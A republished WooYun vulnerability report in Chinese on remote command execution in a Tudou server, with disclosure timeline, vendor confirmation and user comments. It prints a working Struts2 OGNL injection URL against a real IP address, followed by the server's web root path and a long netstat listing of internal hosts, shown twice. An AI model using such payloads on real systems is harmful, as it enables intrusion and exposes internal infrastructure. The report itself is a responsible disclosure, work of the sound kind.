土豆网某系统存在远程命令执行漏洞

admin
admin
admin
144144
文章
118
评论
2015年6月26日12:24:47评论233 views字数 195阅读0分39秒阅读模式
摘要

2014-09-29： 细节已通知厂商并且等待厂商处理中
2014-09-29： 厂商已经确认，细节仅向厂商公开
2014-10-09： 细节向核心白帽子及相关领域专家公开
2014-10-19： 细节向普通白帽子公开
2014-10-29： 细节向实习白帽子公开
2014-11-13： 细节向公众公开

漏洞概要 关注数(8) 关注此漏洞

缺陷编号： WooYun-2014-77786

漏洞标题： 土豆网某系统存在远程命令执行漏洞

相关厂商： 土豆网

漏洞作者： if、so土豆网某系统存在远程命令执行漏洞

提交时间： 2014-09-29 16:19

公开时间： 2014-11-13 16:20

漏洞类型： 命令执行

危害等级： 高

自评Rank： 15

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 无

0人收藏

漏洞详情

披露状态：

2014-09-29： 细节已通知厂商并且等待厂商处理中
2014-09-29： 厂商已经确认，细节仅向厂商公开
2014-10-09： 细节向核心白帽子及相关领域专家公开
2014-10-19： 细节向普通白帽子公开
2014-10-29： 细节向实习白帽子公开
2014-11-13： 细节向公众公开

简要描述：

土豆网某系统命令执行

详细说明：

土豆网某系统存在远程命令执行漏洞

code 区域 
http://101.227.8.73/login.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}
code 区域 
/home/toodou/apache-tomcat-6.0.18/webapps/ROOT/
code 区域 
Active Internet connections (servers and established)
 Proto Recv-Q Send-Q Local Address               Foreign Address             State      
 tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      
 tcp        0      0 0.0.0.0:5666                0.0.0.0:*                   LISTEN      
 tcp        0      0 127.0.0.1:199               0.0.0.0:*                   LISTEN      
 tcp   150144      0 127.0.0.1:44539             127.0.0.1:8081              ESTABLISHED 
 tcp        0      0 127.0.0.1:44444             127.0.0.1:8081              TIME_WAIT   
 tcp        0      0 ::ffff:127.0.0.1:8015       :::*                        LISTEN      
 tcp        0      0 :::8080                     :::*                        LISTEN      
 tcp        0      0 :::80                       :::*                        LISTEN      
 tcp        0      0 :::8081                     :::*                        LISTEN      
 tcp        0      0 :::22                       :::*                        LISTEN      
 tcp        0      0 ::ffff:127.0.0.1:8005       :::*                        LISTEN      
 tcp        0      0 :::8009                     :::*                        LISTEN      
 tcp        0      0 :::8010                     :::*                        LISTEN      
 tcp        0      0 ::ffff:10.25.8.67:40347     ::ffff:10.25.12.124:11211   ESTABLISHED 
 tcp        0      0 ::ffff:127.0.0.1:8081       ::ffff:127.0.0.1:44499      TIME_WAIT   
 tcp        0      0 ::ffff:10.25.8.67:58914     ::ffff:10.25.20.93:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:40349     ::ffff:10.25.12.124:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:35381     ::ffff:10.108.15.45:11218   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:36134     ::ffff:10.108.15.42:11218   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:32200     ::ffff:10.25.12.150:80      TIME_WAIT   
 tcp        0      0 ::ffff:10.25.8.67:26781     ::ffff:10.25.12.165:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:43846     ::ffff:10.25.20.92:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:45810     ::ffff:10.25.20.242:11210   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:14569     ::ffff:10.25.13.122:11213   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:50859     ::ffff:10.25.12.165:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:57026     ::ffff:10.25.12.129:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:45815     ::ffff:10.25.20.242:11210   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:43062     ::ffff:10.25.20.91:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:34739     ::ffff:10.25.20.93:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:43753     ::ffff:10.25.12.162:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:19684     ::ffff:10.25.12.162:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:35211     ::ffff:10.25.20.217:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:63511     ::ffff:10.25.13.127:11213   ESTABLISHED 
 tcp        0      0 ::ffff:127.0.0.1:8081       ::ffff:127.0.0.1:44525      TIME_WAIT   
 tcp        0      0 ::ffff:10.25.8.67:19919     ::ffff:10.25.12.162:11211   ESTABLISHED 
 tcp        1      0 ::ffff:10.25.8.67:34600     ::ffff:10.25.8.81:8081      CLOSE_WAIT  
 tcp        0      0 ::ffff:10.25.8.67:14564     ::ffff:10.25.13.122:11213   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:34489     ::ffff:10.25.20.93:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:56437     ::ffff:10.108.15.36:11218   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:40588     ::ffff:10.25.12.124:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:34493     ::ffff:10.25.20.93:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:56606     ::ffff:10.25.13.125:11213   ESTABLISHED 
 tcp        1      0 ::ffff:10.25.8.67:20548     ::ffff:10.25.8.81:8081      CLOSE_WAIT  
 tcp        0      0 ::ffff:10.25.8.67:19669     ::ffff:10.25.20.92:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:

漏洞证明：

code 区域 
http://101.227.8.73/login.action?redirect%3A%24{%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29}
code 区域 
/home/toodou/apache-tomcat-6.0.18/webapps/ROOT/
code 区域 
Active Internet connections (servers and established)
 Proto Recv-Q Send-Q Local Address               Foreign Address             State      
 tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      
 tcp        0      0 0.0.0.0:5666                0.0.0.0:*                   LISTEN      
 tcp        0      0 127.0.0.1:199               0.0.0.0:*                   LISTEN      
 tcp   150144      0 127.0.0.1:44539             127.0.0.1:8081              ESTABLISHED 
 tcp        0      0 127.0.0.1:44444             127.0.0.1:8081              TIME_WAIT   
 tcp        0      0 ::ffff:127.0.0.1:8015       :::*                        LISTEN      
 tcp        0      0 :::8080                     :::*                        LISTEN      
 tcp        0      0 :::80                       :::*                        LISTEN      
 tcp        0      0 :::8081                     :::*                        LISTEN      
 tcp        0      0 :::22                       :::*                        LISTEN      
 tcp        0      0 ::ffff:127.0.0.1:8005       :::*                        LISTEN      
 tcp        0      0 :::8009                     :::*                        LISTEN      
 tcp        0      0 :::8010                     :::*                        LISTEN      
 tcp        0      0 ::ffff:10.25.8.67:40347     ::ffff:10.25.12.124:11211   ESTABLISHED 
 tcp        0      0 ::ffff:127.0.0.1:8081       ::ffff:127.0.0.1:44499      TIME_WAIT   
 tcp        0      0 ::ffff:10.25.8.67:58914     ::ffff:10.25.20.93:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:40349     ::ffff:10.25.12.124:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:35381     ::ffff:10.108.15.45:11218   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:36134     ::ffff:10.108.15.42:11218   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:32200     ::ffff:10.25.12.150:80      TIME_WAIT   
 tcp        0      0 ::ffff:10.25.8.67:26781     ::ffff:10.25.12.165:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:43846     ::ffff:10.25.20.92:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:45810     ::ffff:10.25.20.242:11210   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:14569     ::ffff:10.25.13.122:11213   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:50859     ::ffff:10.25.12.165:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:57026     ::ffff:10.25.12.129:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:45815     ::ffff:10.25.20.242:11210   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:43062     ::ffff:10.25.20.91:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:34739     ::ffff:10.25.20.93:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:43753     ::ffff:10.25.12.162:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:19684     ::ffff:10.25.12.162:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:35211     ::ffff:10.25.20.217:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:63511     ::ffff:10.25.13.127:11213   ESTABLISHED 
 tcp        0      0 ::ffff:127.0.0.1:8081       ::ffff:127.0.0.1:44525      TIME_WAIT   
 tcp        0      0 ::ffff:10.25.8.67:19919     ::ffff:10.25.12.162:11211   ESTABLISHED 
 tcp        1      0 ::ffff:10.25.8.67:34600     ::ffff:10.25.8.81:8081      CLOSE_WAIT  
 tcp        0      0 ::ffff:10.25.8.67:14564     ::ffff:10.25.13.122:11213   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:34489     ::ffff:10.25.20.93:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:56437     ::ffff:10.108.15.36:11218   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:40588     ::ffff:10.25.12.124:11211   ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:34493     ::ffff:10.25.20.93:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:56606     ::ffff:10.25.13.125:11213   ESTABLISHED 
 tcp        1      0 ::ffff:10.25.8.67:20548     ::ffff:10.25.8.81:8081      CLOSE_WAIT  
 tcp        0      0 ::ffff:10.25.8.67:19669     ::ffff:10.25.20.92:11211    ESTABLISHED 
 tcp        0      0 ::ffff:10.25.8.67:

修复方案：

。。

版权声明：转载请注明来源 if、so@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2014-09-29 16:57

厂商回复：

多谢，已关闭此系统

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2014-09-29 17:32 | 爱上平顶山 土豆网某系统存在远程命令执行漏洞 ( 核心白帽子 | Rank:3144 漏洞数:625 | [不戴帽子]异乡过客.曾就职于天朝某机构.IT...)

    0

    good

  2. 2014-09-29 17:39 | 疯狗 土豆网某系统存在远程命令执行漏洞 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

    0

    真快啊

  3. 2014-09-29 17:53 | 黑吃黑 ( 普通白帽子 | Rank:165 漏洞数:32 | 不是因为看到了希望才去努力，而是努力了才...)

    0

    我日啊，系统都被迫关闭了

  4. 2014-09-29 17:56 | if、so 土豆网某系统存在远程命令执行漏洞 ( 核心白帽子 | Rank:1204 漏洞数:104 | Enjoy Hacking)

    0

    @爱上平顶山 haha

  5. 2014-11-14 15:08 | 带我玩 ( 路人 | Rank:16 漏洞数:8 | 带我玩)

    1

    你们是日的人家关门么?

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin